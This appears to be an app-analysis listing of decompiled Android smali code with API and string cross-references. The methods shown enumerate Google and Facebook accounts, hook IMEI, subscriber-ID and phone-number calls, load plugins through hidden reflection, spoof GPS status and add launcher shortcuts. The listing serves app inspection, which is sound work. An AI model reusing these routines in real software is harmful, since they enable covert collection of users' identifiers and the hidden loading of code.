                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              2const/4 v1, 0x1
                              3const/4 v0, 0x0
                              4try_start_3:
                              5invoke-static {p1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              6try_end_6: move-result-object v2
                              7goto_7: if-nez v2, :cond_33
                              8goto_9: return v0
                              9catch_a: move-exception v2
                              10try_start_b:
                              11invoke-direct {p0}, Lcom/omg/event/utils/NativeInvoke;->getApplication()Landroid/content/Context;
                              12move-result-object v2
                              14invoke-virtual {v2}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              15move-result-object v2
                              17invoke-virtual {v2, p1}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              18try_end_16: move-result-object v2
                              19goto/16 :goto_7
                              20catch_18: move-exception v2
                              22sget-object v4, Lcom/omg/event/utils/NativeInvoke;->TAG:Ljava/lang/String;
                              23new-instance v5, Ljava/lang/StringBuilder;
                              25invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              27invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              28move-result-object v5
                              30const-string v6, "\u7c7b\u627e\u4e0d\u5230"
                              32invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              33move-result-object v5
                              35invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              36move-result-object v5
                              38invoke-static {v4, v5, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                              39move-object v2, v3
                              40goto/16 :goto_7
                              41cond_33: if-eqz p3, :cond_5d
                              42const/4 v3, 0x1
                              43try_start_36: new-array v3, v3, [Ljava/lang/Class;
                              44const/4 v4, 0x0
                              45const-class v5, Landroid/content/Context;
                              46aput-object v5, v3, v4
                              48invoke-virtual {v2, p2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              49move-result-object v2
                              50const/4 v3, 0x1
                              52invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              53const/4 v3, 0x0
                              54const/4 v4, 0x1
                              55new-array v4, v4, [Ljava/lang/Object;
                              56const/4 v5, 0x0
                              58invoke-direct {p0}, Lcom/omg/event/utils/NativeInvoke;->getApplication()Landroid/content/Context;
                              59move-result-object v6
                              60aput-object v6, v4, v5
                              62invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              63move-result-object v2
                              64goto_54:
                              65invoke-static {v2}, Lcom/omg/event/utils/Reflect;->on(Ljava/lang/Object;)Lcom/omg/event/utils/Reflect;
                              66move-result-object v2
                              68invoke-virtual {v2, p4, p5}, Lcom/omg/event/utils/Reflect;->call(Ljava/lang/String;[Ljava/lang/Object;)Lcom/omg/event/utils/Reflect;
                              69move v0, v1
                              70goto/16 :goto_9
                              71cond_5d: const/4 v3, 0x0
                              72new-array v3, v3, [Ljava/lang/Class;
                              74invoke-virtual {v2, p2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              75move-result-object v2
                              76const/4 v3, 0x1
                              78invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              79const/4 v3, 0x0
                              80const/4 v4, 0x0
                              81new-array v4, v4, [Ljava/lang/Object;
                              83invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              84try_end_6f: move-result-object v2
                              85goto/16 :goto_54
                              86catch_71: move-exception v1
                              88sget-object v2, Lcom/omg/event/utils/NativeInvoke;->TAG:Ljava/lang/String;
                              90const-string v3, "\u672c\u5730\u5de5\u5382\u65b9\u6cd5\u6267\u884c\u5931\u8d25"
                              92invoke-static {v2, v3, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                              93goto/16 :goto_9
                              Cross References
                              APIs
                              • android.accounts.AccountManager.get
                              • android.accounts.AccountManager.getAccounts
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.accounts.Account.name:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.accounts.Account.type:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.accounts.Account.type:Ljava/lang/String
                              • java.lang.String.toLowerCase
                              • java.lang.String.contains
                              • java.lang.String.contains
                              Strings
                              • account.name=
                              • account.type=
                              • com.google
                              • facebook
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              3const/16 v2, 0x1a
                              4if-lt v1, v2, :cond_8
                              5goto_7: return v0
                              6cond_8:
                              7iget-object v1, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              9invoke-static {v1}, Landroid/accounts/AccountManager;->get(Landroid/content/Context;)Landroid/accounts/AccountManager;
                              10move-result-object v1
                              12invoke-virtual {v1}, Landroid/accounts/AccountManager;->getAccounts()[Landroid/accounts/Account;
                              13move-result-object v2
                              15const-string/jumbo v1, ""
                              16array-length v3, v2
                              17move v1, v0
                              18goto_17: if-ge v1, v3, :cond_68
                              19aget-object v4, v2, v1
                              20new-instance v5, Ljava/lang/StringBuilder;
                              22invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              24const-string/jumbo v6, "account.name="
                              26invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              27move-result-object v5
                              29iget-object v6, v4, Landroid/accounts/Account;->name:Ljava/lang/String;
                              31invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              32move-result-object v5
                              34invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              35move-result-object v5
                              37invoke-static {v5}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              38new-instance v5, Ljava/lang/StringBuilder;
                              40invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              42const-string/jumbo v6, "account.type="
                              44invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              45move-result-object v5
                              47iget-object v6, v4, Landroid/accounts/Account;->type:Ljava/lang/String;
                              49invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              50move-result-object v5
                              52invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              53move-result-object v5
                              55invoke-static {v5}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              57iget-object v4, v4, Landroid/accounts/Account;->type:Ljava/lang/String;
                              59invoke-virtual {v4}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                              60move-result-object v4
                              62const-string/jumbo v5, "com.google"
                              64invoke-virtual {v4, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              65move-result v5
                              66if-nez v5, :cond_7
                              68const-string/jumbo v5, "facebook"
                              70invoke-virtual {v4, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              71move-result v4
                              72if-nez v4, :cond_7
                              73add-int/lit8 v1, v1, 0x1
                              74goto/16 :goto_17
                              75cond_68: const/4 v0, 0x1
                              76goto/16 :goto_7
                              APIs
                              • java.lang.Object.getClass
                              • java.lang.Integer.TYPE:Ljava/lang/Class
                              • java.lang.Integer.TYPE:Ljava/lang/Class
                              • java.lang.Integer.TYPE:Ljava/lang/Class
                              • java.lang.Integer.TYPE:Ljava/lang/Class
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              • java.lang.Object.getClass
                              • java.lang.Integer.TYPE:Ljava/lang/Class
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              • java.lang.Exception.printStackTrace
                              Strings
                              • mGpsStatus
                              • setStatus
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              3invoke-static {}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->get()Lcom/lody/virtual/client/env/VirtualGPSSatalines;
                              4move-result-object v2
                              5const/4 v0, 0x0
                              7invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getSvCount()I
                              8move-result v3
                              10invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getSnrs()[F
                              11move-result-object v4
                              13invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getPrns()[I
                              14move-result-object v5
                              16invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getElevations()[F
                              17move-result-object v6
                              19invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getAzimuths()[F
                              20move-result-object v7
                              22invoke-static {p0}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              23move-result-object v8
                              25const-string v9, "mGpsStatus"
                              27invoke-virtual {v8, v9}, Lcom/lody/virtual/helper/utils/Reflect;->get(Ljava/lang/String;)Ljava/lang/Object;
                              28move-result-object v8
                              29try_start_24:
                              30invoke-virtual {v8}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              31move-result-object v9
                              33const-string v10, "setStatus"
                              34const/16 v11, 0x8
                              35new-array v11, v11, [Ljava/lang/Class;
                              36const/4 v12, 0x0
                              38sget-object v13, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                              39aput-object v13, v11, v12
                              40const/4 v12, 0x1
                              41const-class v13, [I
                              42aput-object v13, v11, v12
                              43const/4 v12, 0x2
                              44const-class v13, [F
                              45aput-object v13, v11, v12
                              46const/4 v12, 0x3
                              47const-class v13, [F
                              48aput-object v13, v11, v12
                              49const/4 v12, 0x4
                              50const-class v13, [F
                              51aput-object v13, v11, v12
                              52const/4 v12, 0x5
                              54sget-object v13, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                              55aput-object v13, v11, v12
                              56const/4 v12, 0x6
                              58sget-object v13, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                              59aput-object v13, v11, v12
                              60const/4 v12, 0x7
                              62sget-object v13, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                              63aput-object v13, v11, v12
                              65invoke-virtual {v9, v10, v11}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              66move-result-object v0
                              67const/4 v9, 0x1
                              69invoke-virtual {v0, v9}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              71invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getEphemerisMask()I
                              72move-result v9
                              74invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getAlmanacMask()I
                              75move-result v10
                              77invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getUsedInFixMask()I
                              78move-result v11
                              79const/16 v12, 0x8
                              80new-array v12, v12, [Ljava/lang/Object;
                              81const/4 v13, 0x0
                              83invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              84move-result-object v3
                              85aput-object v3, v12, v13
                              86const/4 v3, 0x1
                              87aput-object v5, v12, v3
                              88const/4 v3, 0x2
                              89aput-object v4, v12, v3
                              90const/4 v3, 0x3
                              91aput-object v6, v12, v3
                              92const/4 v3, 0x4
                              93aput-object v7, v12, v3
                              94const/4 v3, 0x5
                              96invoke-static {v9}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              97move-result-object v6
                              98aput-object v6, v12, v3
                              99const/4 v3, 0x6
                              101invoke-static {v10}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              102move-result-object v6
                              103aput-object v6, v12, v3
                              104const/4 v3, 0x7
                              106invoke-static {v11}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              107move-result-object v6
                              108aput-object v6, v12, v3
                              110invoke-virtual {v0, v8, v12}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              111goto_99: if-nez v0, :cond_133
                              112try_start_9b:
                              113invoke-virtual {v8}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              114move-result-object v0
                              116const-string v3, "setStatus"
                              117const/16 v6, 0x8
                              118new-array v6, v6, [Ljava/lang/Class;
                              119const/4 v7, 0x0
                              121sget-object v9, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                              122aput-object v9, v6, v7
                              123const/4 v7, 0x1
                              124const-class v9, [I
                              125aput-object v9, v6, v7
                              126const/4 v7, 0x2
                              127const-class v9, [F
                              128aput-object v9, v6, v7
                              129const/4 v7, 0x3
                              130const-class v9, [F
                              131aput-object v9, v6, v7
                              132const/4 v7, 0x4
                              133const-class v9, [F
                              134aput-object v9, v6, v7
                              135const/4 v7, 0x5
                              136const-class v9, [I
                              137aput-object v9, v6, v7
                              138const/4 v7, 0x6
                              139const-class v9, [I
                              140aput-object v9, v6, v7
                              141const/4 v7, 0x7
                              142const-class v9, [I
                              143aput-object v9, v6, v7
                              145invoke-virtual {v0, v3, v6}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              146move-result-object v3
                              147const/4 v0, 0x1
                              149invoke-virtual {v3, v0}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              151invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getSvCount()I
                              152move-result v6
                              154invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getPrns()[I
                              155move-result-object v0
                              156array-length v7, v0
                              158invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getElevations()[F
                              159move-result-object v9
                              161invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getAzimuths()[F
                              162move-result-object v10
                              163new-array v11, v7, [I
                              164move v0, v1
                              165goto_e9: if-ge v0, v7, :cond_f4
                              167invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getEphemerisMask()I
                              168move-result v12
                              169aput v12, v11, v0
                              170add-int/lit8 v0, v0, 0x1
                              171goto/16 :goto_e9
                              172cond_f4: new-array v12, v7, [I
                              173move v0, v1
                              174goto_f7: if-ge v0, v7, :cond_102
                              176invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getAlmanacMask()I
                              177move-result v13
                              178aput v13, v12, v0
                              179add-int/lit8 v0, v0, 0x1
                              180goto/16 :goto_f7
                              181cond_102: new-array v13, v7, [I
                              182move v0, v1
                              183goto_105: if-ge v0, v7, :cond_110
                              185invoke-virtual {v2}, Lcom/lody/virtual/client/env/VirtualGPSSatalines;->getUsedInFixMask()I
                              186move-result v1
                              187aput v1, v13, v0
                              188add-int/lit8 v0, v0, 0x1
                              189goto/16 :goto_105
                              190cond_110: const/16 v0, 0x8
                              191new-array v0, v0, [Ljava/lang/Object;
                              192const/4 v1, 0x0
                              194invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              195move-result-object v2
                              196aput-object v2, v0, v1
                              197const/4 v1, 0x1
                              198aput-object v5, v0, v1
                              199const/4 v1, 0x2
                              200aput-object v4, v0, v1
                              201const/4 v1, 0x3
                              202aput-object v9, v0, v1
                              203const/4 v1, 0x4
                              204aput-object v10, v0, v1
                              205const/4 v1, 0x5
                              206aput-object v11, v0, v1
                              207const/4 v1, 0x6
                              208aput-object v12, v0, v1
                              209const/4 v1, 0x7
                              210aput-object v13, v0, v1
                              212invoke-virtual {v3, v8, v0}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              213cond_133: return-void
                              214catch_134: move-exception v0
                              216invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              217goto/16 :goto_133
                              218catch_139: move-exception v3
                              219goto/16 :goto_99
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getActiveNetworkInfo
                              • android.net.NetworkInfo.isAvailable
                              • android.net.NetworkInfo.getType
                              • java.lang.String.equals
                              • java.lang.String.startsWith
                              • android.net.NetworkInfo.getExtraInfo
                              • java.lang.String.toLowerCase
                              • java.lang.String.contains
                              • android.net.Proxy.getDefaultHost
                              • android.net.Proxy.getDefaultPort
                              • java.net.InetSocketAddress.<init>
                              • java.net.Proxy$Type.HTTP:Ljava/net/Proxy$Type
                              • java.net.Proxy.<init>
                              Strings
                              • connectivity
                              • 46001
                              • wap
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2if-nez p0, :cond_5
                              3move-object v0, v1
                              4goto_4: return-object v0
                              5cond_5:
                              6const-string/jumbo v0, "connectivity"
                              8invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              9move-result-object v0
                              10check-cast v0, Landroid/net/ConnectivityManager;
                              12invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                              13move-result-object v0
                              14if-eqz v0, :cond_20
                              16invoke-virtual {v0}, Landroid/net/NetworkInfo;->isAvailable()Z
                              17move-result v2
                              18if-eqz v2, :cond_20
                              20invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                              21move-result v2
                              22if-eqz v2, :cond_22
                              23cond_20: move-object v0, v1
                              24goto/16 :goto_4
                              25cond_22:
                              26invoke-static {p0}, Lcom/omg/tool/net/NetProxyManager;->a(Landroid/content/Context;)Ljava/lang/String;
                              27move-result-object v2
                              28if-eqz v2, :cond_3c
                              30const-string/jumbo v3, ""
                              32invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              33move-result v3
                              34if-nez v3, :cond_3c
                              36const-string/jumbo v3, "46001"
                              38invoke-virtual {v2, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                              39move-result v2
                              40if-nez v2, :cond_3c
                              41move-object v0, v1
                              42goto/16 :goto_4
                              43cond_3c:
                              44invoke-virtual {v0}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String;
                              45move-result-object v0
                              47invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                              48move-result-object v0
                              50const-string/jumbo v2, "wap"
                              52invoke-virtual {v0, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              53move-result v0
                              54if-eqz v0, :cond_64
                              56invoke-static {}, Landroid/net/Proxy;->getDefaultHost()Ljava/lang/String;
                              57move-result-object v0
                              59invoke-static {}, Landroid/net/Proxy;->getDefaultPort()I
                              60move-result v2
                              61if-eqz v0, :cond_64
                              62new-instance v1, Ljava/net/InetSocketAddress;
                              64invoke-direct {v1, v0, v2}, Ljava/net/InetSocketAddress;-><init>(Ljava/lang/String;I)V
                              65new-instance v0, Ljava/net/Proxy;
                              67sget-object v2, Ljava/net/Proxy$Type;->HTTP:Ljava/net/Proxy$Type;
                              69invoke-direct {v0, v2, v1}, Ljava/net/Proxy;-><init>(Ljava/net/Proxy$Type;Ljava/net/SocketAddress;)V
                              70goto/16 :goto_4
                              71cond_64: move-object v0, v1
                              72goto/16 :goto_4
                              APIs
                              • sdk.nicro.lu.ps.g.<init>
                              • sdk.nicro.lu.ps.g.<init>
                              • java.lang.Class.newInstance
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.io.File.getPath
                              • java.lang.reflect.Method.invoke
                              • android.content.Context.getResources
                              • android.content.res.Resources.getDisplayMetrics
                              • android.content.Context.getResources
                              • android.content.res.Resources.getConfiguration
                              • android.content.res.Resources.<init>
                              • sdk.nicro.lu.ps.f$d$1.<init>
                              Strings
                              • plugin path is null
                              • addAssetPath path fail
                              • addAssetPath
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-direct {p0, p1, p2}, Lsdk/nicro/lu/ps/f$d;->c(Landroid/content/Context;Lsdk/nicro/lu/ps/h;)Ljava/io/File;
                              3move-result-object v0
                              4try_start_4:
                              5invoke-virtual {p2}, Lsdk/nicro/lu/ps/h;->c()Ljava/lang/String;
                              6move-result-object v1
                              7if-nez v1, :cond_1d
                              8new-instance v0, Lsdk/nicro/lu/ps/g;
                              10const-string/jumbo v1, "plugin path is null"
                              12invoke-direct {v0, v1}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/String;)V
                              13throw v0
                              14try_end_13: move-exception v0
                              15new-instance v1, Lsdk/nicro/lu/ps/g;
                              17const-string/jumbo v2, "addAssetPath path fail"
                              19invoke-direct {v1, v2, v0}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
                              20throw v1
                              21cond_1d: const-class v1, Landroid/content/res/AssetManager;
                              23invoke-virtual {v1}, Ljava/lang/Class;->newInstance()Ljava/lang/Object;
                              24move-result-object v3
                              25check-cast v3, Landroid/content/res/AssetManager;
                              26const-class v1, Landroid/content/res/AssetManager;
                              28const-string/jumbo v2, "addAssetPath"
                              29const/4 v4, 0x1
                              30new-array v4, v4, [Ljava/lang/Class;
                              31const/4 v5, 0x0
                              32const-class v6, Ljava/lang/String;
                              33aput-object v6, v4, v5
                              35invoke-virtual {v1, v2, v4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              36move-result-object v1
                              37const/4 v2, 0x1
                              39invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              40const/4 v2, 0x1
                              41new-array v2, v2, [Ljava/lang/Object;
                              42const/4 v4, 0x0
                              44invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              45move-result-object v0
                              46aput-object v0, v2, v4
                              48invoke-virtual {v1, v3, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              49try_end_47: new-instance v4, Landroid/content/res/Resources;
                              51invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              52move-result-object v0
                              54invoke-virtual {v0}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics;
                              55move-result-object v0
                              57invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              58move-result-object v1
                              60invoke-virtual {v1}, Landroid/content/res/Resources;->getConfiguration()Landroid/content/res/Configuration;
                              61move-result-object v1
                              63invoke-direct {v4, v3, v0, v1}, Landroid/content/res/Resources;-><init>(Landroid/content/res/AssetManager;Landroid/util/DisplayMetrics;Landroid/content/res/Configuration;)V
                              64new-instance v0, Lsdk/nicro/lu/ps/f$d$1;
                              65move-object v1, p0
                              66move-object v2, p1
                              67move-object v5, p1
                              68move-object v6, p2
                              70invoke-direct/range {v0 .. v6}, Lsdk/nicro/lu/ps/f$d$1;-><init>(Lsdk/nicro/lu/ps/f$d;Landroid/content/Context;Landroid/content/res/AssetManager;Landroid/content/res/Resources;Landroid/content/Context;Lsdk/nicro/lu/ps/h;)V
                              71iput-object v0, p0, Lsdk/nicro/lu/ps/f$d;->d:Landroid/content/Context;
                              72return-void
                              APIs
                              • android.content.Intent.<init>
                              • android.content.Intent.putExtra
                              • android.content.Context.getApplicationContext
                              • android.content.Intent$ShortcutIconResource.fromContext
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent$ShortcutIconResource.fromContext
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Context.sendBroadcast
                              Strings
                              • com.android.launcher.action.INSTALL_SHORTCUT
                              • android.intent.extra.shortcut.NAME
                              • android.intent.extra.shortcut.ICON
                              • duplicate
                              • android.intent.extra.shortcut.ICON_RESOURCE
                              • android.intent.extra.shortcut.INTENT
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Landroid/content/Intent;
                              3const-string/jumbo v1, "com.android.launcher.action.INSTALL_SHORTCUT"
                              5invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                              7const-string/jumbo v1, "android.intent.extra.shortcut.NAME"
                              9invoke-virtual {v0, v1, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              11invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                              12move-result-object v1
                              14invoke-static {v1, p1}, Landroid/content/Intent$ShortcutIconResource;->fromContext(Landroid/content/Context;I)Landroid/content/Intent$ShortcutIconResource;
                              15move-result-object v1
                              17const-string/jumbo v2, "android.intent.extra.shortcut.ICON"
                              19invoke-virtual {v0, v2, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              21const-string/jumbo v1, "duplicate"
                              22const/4 v2, 0x1
                              24invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
                              26invoke-static {p0, p1}, Landroid/content/Intent$ShortcutIconResource;->fromContext(Landroid/content/Context;I)Landroid/content/Intent$ShortcutIconResource;
                              27move-result-object v1
                              29const-string/jumbo v2, "android.intent.extra.shortcut.ICON_RESOURCE"
                              31invoke-virtual {v0, v2, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              33const-string/jumbo v1, "android.intent.extra.shortcut.INTENT"
                              35invoke-virtual {v0, v1, p3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              37invoke-virtual {p0, v0}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V
                              38return-void
                              APIs
                              Strings
                              • getNaiForSubscriber
                              • getImeiForSubscriber
                              • getDeviceSvn
                              • getDeviceSvnUsingSubId
                              • getSubscriberId
                              • getSubscriberIdForSubscriber
                              • getGroupIdLevel1
                              • getGroupIdLevel1ForSubscriber
                              • getLine1Number
                              • getLine1NumberForSubscriber
                              • getLine1AlphaTag
                              • getLine1AlphaTagForSubscriber
                              • getMsisdn
                              • getMsisdnForSubscriber
                              • getVoiceMailNumber
                              • getVoiceMailNumberForSubscriber
                              • getVoiceMailAlphaTag
                              • getVoiceMailAlphaTagForSubscriber
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-super {p0}, Lcom/lody/virtual/client/hook/base/BinderInvocationProxy;->onBindMethods()V
                              3new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              5const-string v1, "getNaiForSubscriber"
                              7invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              9invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              10new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              12const-string v1, "getImeiForSubscriber"
                              14invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              16invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              17new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              19const-string v1, "getDeviceSvn"
                              21invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              23invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              24new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;
                              26const-string v1, "getDeviceSvnUsingSubId"
                              28invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceLastPkgMethodProxy;-><init>(Ljava/lang/String;)V
                              30invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->addMethodProxy(Lcom/lody/virtual/client/hook/base/MethodProxy;)Lcom/lody/virtual/client/hook/base/MethodProxy;
                              31new-instance v0, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;
                              33const-string v1, "getSubscriberId"
                              35invoke-direct {v0, v1}, Lcom/lody/virtual/client/hook/base/ReplaceCallingPkgMethodProxy;-><init>(Ljava/lang/String;)V
